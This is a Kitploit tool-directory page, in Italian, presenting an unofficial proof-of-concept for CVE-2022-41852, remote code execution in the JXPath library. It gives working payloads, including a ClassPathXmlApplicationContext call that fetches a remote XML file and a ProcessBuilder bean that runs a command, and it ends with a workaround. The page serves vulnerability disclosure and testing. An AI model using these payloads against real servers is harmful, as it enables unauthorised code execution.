Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-41852 — CVE-2022-41852 Prova di concetto (non ufficiale) | Kitploit
Strumenti/GitHubGitHub/warxim/cve-2022-41852
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Prova di concetto (non ufficiale)

Vedi Repository
74153 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Esecuzione di codice remoto nella libreria JXPath (CVE-2022-41852) Prova di concetto

CVE-2022-41852 consente agli attaccanti di eseguire codice sul server applicativo.

Puoi leggere ulteriori informazioni su questa vulnerabilità qui:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Nota: Non sono un autore di questa CVE. Ho solo creato questa prova di concetto.

Link Utili

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Descrizione della vulnerabilità

La libreria JXPath supporta l'esecuzione di funzioni nelle espressioni XPath (vedi Guida Ufficiale per l'Utente).

Ad esempio, i metodi JXPathContext.getValue(path) e JXPathContext.iterate(path) sono pericolosi se si consente all'utente di inviare input nel parametro path.

Descrizione del PoC

Questo PoC avvia un semplice server Spring con due endpoint:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

Questi endpoint hanno un solo parametro di query "path".

Possibili URL di richiesta

Le seguenti richieste funzioneranno correttamente (non causeranno alcun problema):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

Le seguenti richieste causeranno l'esecuzione di codice:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Payload di esempio

Payload di esempio per rilevare CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Potrebbero esserci vari modi per eseguire comandi. Uno di questi è usare ClassPathXmlApplicationContext di Spring:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

Nel file XML puoi definire la configurazione dei bean; ad esempio, puoi creare un'istanza di ProcessBuilder ed eseguire il comando specificato sul server inizializzando il bean tramite il metodo start(). Nell'esempio seguente, verrà aperta la calcolatrice su una macchina Windows:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Esiste anche un modo per caricare nuove classi attraversando il contesto del bean; ad esempio, il codice seguente caricherà la classe com.warxim.dangerous.DangerousClass, creerà un'istanza e chiamerà il metodo run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Nota che dobbiamo chiamare i metodi dell'oggetto inserendo l'oggetto che li contiene come primo parametro.

Workaround per CVE-2022-41852

È possibile disabilitare le funzioni in JXPathContext impostando il campo functions su una FunctionLibrary vuota.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Nota: Disabiliterà tutte le funzioni, quindi anche funzioni come size() non saranno disponibili.

Correzione

La correzione è in fase di sviluppo, vedi https://github.com/apache/commons-jxpath/pull/26

Scarica lo strumento